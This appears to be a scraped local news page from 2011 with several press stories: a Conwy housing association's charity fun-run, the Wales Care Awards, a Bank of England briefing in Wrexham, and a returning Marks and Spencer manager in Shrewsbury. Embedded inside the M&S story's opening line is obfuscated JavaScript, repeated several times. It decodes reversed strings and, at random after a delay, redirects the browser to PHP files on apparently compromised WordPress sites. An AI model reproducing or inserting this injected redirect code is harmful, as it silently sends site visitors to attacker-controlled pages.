Category: News

Housing chief on the run for charity

Cartrefi Conwy's Kevin Talbot gets ready for the half marathon watched by organiser Chris Yorke.

A housing association chief is putting on his running shoes to help promote the benefits of keeping fit to 3,800 tenants.

Andrew Bowden, the Chief Executive of Cartrefi Conwy, will line up for a one-mile fun-run in Conwy on Sunday, November 20 and expects to be joined not only by scores of tenants but also several colleagues.

The fun-run between Conwy Quay and Llandudno Junction and back is being held for the first time in conjunction with the Conwy half-marathon organised by Run Wales.

The housing association, which took over responsibility for housing from the county borough council in 2008, is sponsoring the event.

“Cartrefi Conwy is always looking for ways to be involved in the community and supports local communities through donations and sponsorship funds.”

“We are conscious that where possible our support presents additional opportunities to benefit our tenants, said Mr Bowden, a keen walker who hopes to be able to run the distance.

Cartrefi Conwy’s tenants will be able to enter the fun-run free of charge – the fee for others is £4 a head or £10 for a family of four – and all finishers will receive a medal, T-shirt and goody bag.

“At the moment we have more than 10 members of staff planning to take part but we hope there will be a few teams representing all our departments come race day,” said Mr Bowden.

“Whilst some people may run it doesn’t matter if some choose to jog, walk or skip their way to the end of the race. We hope many families will become involved and it may even encourage some to step up and have a go at the half-marathon next year.”

Cartrefi Conwy will also be represented in the half-marathon itself, which has attracted almost 1,500 entrants to date.

In the past two years Kevin Talbot from Llandudno has been among volunteers marshalling the event but he decided to have a go this time because of the involvement of Cartrefi Conwy, for whom he works as a maintenance coordinator.

Kevin, 47, will be raising money for Ty Gobaith/Hope House, which has been adopted as the housing association’s nominated charity for this year. It is the second major fundraising event in
which Cartrefi Conwy has been involved in raising money for Ty Gobaith, the first having been a recent golf competition.

He is a relatively experienced distance runner, having taken part in the Chicago Marathon in 2000 and the London Marathon in 2007.

His best time for the half-distance is about 1 hour 40 minutes but as the Conwy race includes a circuit of the Great Orme his aim this time is to break the two-hour barrier.

“I’m glad to be able to take part in a local event like this, especially for such a good cause,” he said.

The race’s main benefitting charity is Help For Heroes, but Mr Bodwen said they hoped tenants would take the opportunity to support any good causes.

Race organizer Chris Yorke said he was delighted to have Cartrefi Conwy among the event sponsors and he was sure that the fun-run, which will be held before the main race, would be an added attraction, bringing yet more people into the town.

All Cartrefi Conwy tenants who plan to take part in the Fun Run must register for free entry by ring 01492 805500. Entries from members of the general public who want to participate in the Fun Run will be taken only on the day whereas on-line entries for the half-marathon, which starts an hour later at midday, will be accepted only in advance. Both events start and finish on the quayside.

Caption: Cartrefi Conwy’s Kevin Talbot gets ready for the half marathon watched by organiser Chris Yorke.

Thursday November 10th, 2011

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Magical night for social care heroes

PICTURE BY PATRICK OLNER 07958 546063Darren Jackson Principal of Ludlow-Orbis Group with the two prestigious awards he won at the Wales Care Awards

The achievements of an inspirational college principal crowned a “magical” awards ceremony.

Darren Jackson, the Principal of Beechwood College, in Sully, South Wales  struck gold twice
at the Wales Care Awards during a glittering ceremony at Cardiff City Hall.

The Oscars-style evening is organised by Care Forum Wales to honour the unsung heroes and heroines of social care across the country.

Beechwood College is Wales’ first and only residential college of further education catering for children, young people and adults with an Autistic Spectrum Condition (ASC).

Darren, 36, won the gold ‘Peter Clarke Award’ for promoting excellence in services for children and
young people and was also named as the prestigious winner of the ‘Spirit of Care Award’ in the final award of the night.

Darren started his career as an art and design teacher before progressing within the field of special
education and is now a key figure in raising awareness among professionals and the public of the special and often complex needs of those with an ASC.

He has featured as an expert on TV and radio and in newspapers while the College has provided free training and workshops to teachers, professionals and parents across the UK.

Darren was overwhelmed after his double success “in the presence of so many remarkable colleagues from across the vast sector of care.”

He said :”I am incredibly passionate about the role I play in supporting those with complex needs.”

It was also a big night for Linda Jones from the slate quarrying town of Blaenau Ffestiniog  after she picked up a double Welsh “gold.”

Judges said that mother-of-three Linda Jones embodies all that is admirable in the sector.

She received shared the prestigious Dignity in Care Award, sponsored by the Welsh Government, and the Leading Practice in Learning Disability Services Award.

Linda is Managing Director of the aptly-named company, Seren Ffestiniog (Star of Ffestiniog), which she established in 1996 to provide care, jobs and a future for those with learning difficulties.

From that humble beginning with just two employees and helped with a grant of £5,000, it has grown to a caring business looking after 34 people with learning difficulties with 52 full time employees.

Among the facilities provided by Seren is a small furniture business which locals have affectionately dubbed ‘Harrods’ which renovates donated furniture and also buys new furniture “for sale to Blaenau people at prices they can afford”, a craft workshop and shop where cards and artwork are sold,  and a clothing shop, all giving jobs to adults with learning difficulties.

There is also a garden nursery supplying local shops, including hanging baskets and kindling along with a house where four men with learning difficulties are tenants in their own right.

Her latest project is a 3-star, ten en-suite bedroom hotel for people with learning difficulties and their families to come for holidays or breaks.

The three other joint winners of the Dignity in Care Award were Gerry Humphreys, Karen Woods and Peter Gough.

Gerry, the Activities Manager of the Pendine Park care organisation in Wrexham, found herself
nominated for not one but two awards.

As well as the gold Dignity in Care award, she was awarded a silver for the Promoting Fulfilled
Lives Award.

“No one can be unhappy when Gerry is around” was how Malcolm Crosbie described Gerry when he nominated her.

As the husband of retired civil servant Audrey, 82, an Alzheimer sufferer and resident at Pendine’s
Highfield home he had seen her winning ways first hand.

Gerry has set up a swimming club for residents, ladies go to ballet performances, some of the men
go to football matches. There are visiting musicians and choirs.

Swansea nurse Karen whose hobby is sea-fishing netted her best haul to date with a double success at the  prestigious awards ceremony.

Along with the Dignity in Care accolade, she also won gold in the Nurse of the Year category.

Karen is the registered manager at the Three Cliffs Care Home in Penmaen, South Gower, which
is owned by Heart of Wales Ltd. The home is one of the few which caters specifically for people with dementia and has 50 residents.

She was nominated for the award by the home’s Operations Manager Tom Watson who said
her expertise in the field had made a huge difference to everyone.

“Every day Karen demonstrates her enthusiasm and commitment to the residents of Three
Cliffs Nursing Home, and involves everyone in all aspects of their lives, ensuring individuals have as much choice as they are able to elect, and are always afforded dignity and respect,” he wrote.

Peter Gough, from Ammanford, was a double winner just  two years after having to face a change of career.

He was named as joint winner of the bronze award in the category for Promoting Fulfilled Lives but he was even more stunned when he was also presented with the gold award for Dignity in Care.

Peter, a care assistant at the Cartref Annwyl Fan Home in Betws, took the job because he was desperate for work after his steel plating business folded.

The home’s manager,  Gail Davies, said: “Peter is the salt of the earth – hard-working, reliable, trustworthy and above all, he cares.

“He treats each and every resident as an individual and is always promoting their views and wishes. He also maintains dignity and privacy at all times.”

Health Minister Lesley Griffiths AM, who presented the awards, paid tribute to the work of Care Forum Wales in promoting dignity in care.

She said: ” It’s a time to recognise the excellent work that is taking place across Wales and an opportunity to shine a light on this practice so that others can see and follow.

“Tonight is an opportunity to recognise all those who have been nominated, to recognise your commitment and efforts and impact on others.

“It’s a celebration of the achievements of all of you who make a day to day impact on the lives of older people and how, in everything you do,  you ensure that their dignity is at the heart.”

Mario Kreft, chairman of Care Forum Wales, said there was a record number of nominations and
the standard was extremely high.

He added: “There are only winners here tonight so it is only fitting that the finalists
will receive a gold, silver or bronze Wales Care Award.

“I trust that they will continue to inspire those around them as role models and encourage others to aspire to even greater heights in the months and years to come.

“This awards ceremony is our opportunity to pay tribute and to celebrate the talent and commitment that is improving the quality of life for thousands and thousands of people throughout Wales.

“We take our hats off to them all.”

 

 

 

 

 

 

Thursday November 10th, 2011

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Businesses meet Bank of England

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Business leaders in North Wales will be given the low-down on the economy by a senior
figure from the Bank of England.

Neil Ashbridge, the Bank’s Agent in Wales, will be delivering a private, off-the-record briefing to  the influential Wrexham Business Professionals Group on Friday, November 18.

The meeting at the town’s Ramada Plaza will be attended by Group members and their
clients.

It has been organised on the Group’s behalf by Solicitors GHP Legal in conjunction with Chartered Accountants Coxeys.

Peter Butler, a Managing Partner of GHP Legal, is delighted that Mr Ashbridge has
agreed to attend the meeting.

Mr Butler said: “I am sure we will gain a fascinating and helpful insight into how the economy is faring and the prospects for the future.

“Hopefully, there will also be an opportunity for our members and clients to venture an opinion and for our thoughts to be taken into consideration by the Bank of England.”

The Bank’s 12 Agencies liaise closely with key business groups such as the Chambers of Commerce and CBI and, in this case, Wrexham Business Professionals.

Agents analyse the confidential information contacts provide to them and report their assessment to the Bank’s Monetary Policy Committee each month to help build a picture of overall business conditions.

Mr Ashbridge originally joined the Bank of England’s Liverpool branch in 1973, before transferring to Threadneedle Street in 1976 where he undertook a number of roles in the Bank’s exchange control, banking and international divisions.

In 1992, he returned to Liverpool as Assistant Agent, covering North and Mid-Wales and parts of the North West, before being appointed Deputy Agent for the North West in 2000. He was appointed the Agent in Wales in 2009.

He said: “The Bank’s network of Agencies across the UK and the information they gather each month, make a direct and valuable contribution to the Bank’s Monetary Policy Committee.

“The task of the Bank’s Monetary Policy Committee would be far more difficult without the timely information provided by the Agencies.

“I am therefore pleased to have the opportunity to continue this process by meeting with the Wrexham Business Professionals Group.”

The meeting will also be addressed by Wrexham AM Lesley Griffiths.

Wrexham Business Professionals recently launched a Keep it Local Campaign which is designed to encourage businesses to look locally for professional services.

Their aim is to persuade public and private sector organisations to look closer to home when awarding contracts and commissioning services.

Gill Atkinson, a Director of Coxeys, said: “We formed the group as a means of showcasing the professional expertise that is available in the town.

“We wanted to raise the profile of professional people in Wrexham to demonstrate that we could provide a service that was at least as good if not better than that available across the border and that it would be cheaper and more accessible too.

The campaign is being supported by Lesley Griffiths AM who said: “It’s really important that these services remain in Wrexham.

“We need to raise awareness of the skills available and that we have solicitors and accountants and other businesses who are perfectly able to carry out the work required by SMEs, small and medium size businesses, and by local residents.

“The Wrexham Business Professionals Group have raised major concerns about the procurement of work that could have been done in Wrexham and this is something I will raise with the relevant Minister.

“The Welsh Government need to look at how we can help companies tender for this work and I am sure we are doing this.

“It is great to see these people coming together. They are a large group and very influential and this campaign is something I would like to take forward.”

For more information about the meeting contact Nicola Mathews by emailing her at to:nicola.mathews@mdcoxey.com">nicola.mathews@mdcoxey.comor ringing 01978 355477.

Caption: Neil Ashbridge

Thursday November 10th, 2011

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Sharpshooter Martin is back in charge at Shewsbury Marks and Spencer

Martin Woodhouse, manager of M&S in Shrewsbury - back $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore ten years after first doing so

A keen archer has set a target of creating 11 new jobs on his return after ten years to manage a flagship Shrewsbury store.

Martin Woodhouse is back at the helm of the top retailer’s branch which opens onto the town’s busy Darwin Shopping Centre.

The 43-year-old is planning some innovative changes, the most important being the introduction of 11 new roles in the food and clothing department which will start with the introduction of highly trained specialist food advisors who will be able to help customers with their choices.

The new posts have in turn created new vacancies at the store and Martin, from Stourbridge, said: “We want to try and create more customer facing advisors and we will be doing this first in the food zone by having specially trained staff who will constantly be working in a specific area, for example international meal.

“They will become familiar with the products and be able to give customers guidance when they are making their selection.

“I am hopeful we will begin to take this approach across the whole store with staff becoming experts in all the different areas including hosiery and jewellery.

“The staff like it because they know they will always be working in a specific area and can really get to know and understand their products so they are better equipped to help customers.”

Martin said the aim of his new approach was to take the Shrewsbury store to the next level in customer service.

He said: “Marks and Spencer has always been great at service, it is what we are famous for, but we are always looking at ways in which we can use this to distance ourselves from the competition – what is so different about us?”

Martin, who has managed stores all over the UK, including Stafford, Weston-super-Mare and Birmingham, said: “I have managed a lot bigger stores but I have always asked that if I could get the chance to return to any of them, then Shrewsbury was always my first choice.

“I always felt the store had so much potential and I really wanted to get back to finish off what we started all those years ago.”

His daughter, Amelia, was born just two days before he first left the busy Darwin shopping centre store to other roles within the great British retailer.

Now aged 10, Amelia is starting secondary school next year and is a keen Rihanna fan, like her dad, who is delighted to be back at Shrewsbury where he had some of the first major successes of his 18-year retail career.

Martin, an archer and chairman of the Stourbridge Company of Archers , believes in clear targets for his store and its staff

Back then he was determined Shrewsbury would make more than its much larger neighbour in Wolverhampton and remarkably it did.

He was responsible for introducing Per Una into the store, increasing ranges and styles for the town and he also set up a customer consultation group in an effort to better understand what the shoppers of Shrewsbury needed, something which he is keen to kick start once again.

He said: “Ninety per cent of my time is spent on the sales floor of the store talking to the customers and working with the team because it is no use being shut up in an office in the back.”

He added: “We were very vocal in the town the last time I was here. It was during the floods, during the petrol crisis and we were always involved in the community and what was going on. I managed to talk Craig, the first ever winner of Big Brother, into turning the Christmas lights on in the town and there was the biggest turn out in the town ever seen before.

“Since I have been away there have been car parking charge rises and changes in bus connections and I would like the store to have been more involved in decisions such as these.”

The avid reader of Wilbur Smith novels said Shrewsbury has always had a very strong community feel and added: “The people are always so friendly and so proud of their town and this is reflected in the terrific way that people from old to young really care about the look of the town.

“Shrewsbury has some fascinating shops and some terrific restaurants and delicatessens which gives it a real focus as a shopping destination and helps differentiate it from normal shopping towns. I really do enjoy working here.”

Anyone interested in job vacancies at M&S in Shrewsbury or in being part of the customer consultation group there can contact the store by emailing to:Shrewsbury.SM@marks-and-spencer.com">Shrewsbury.SM@marks-and-spencer.com or simply calling in.

Tuesday October 25th, 2011

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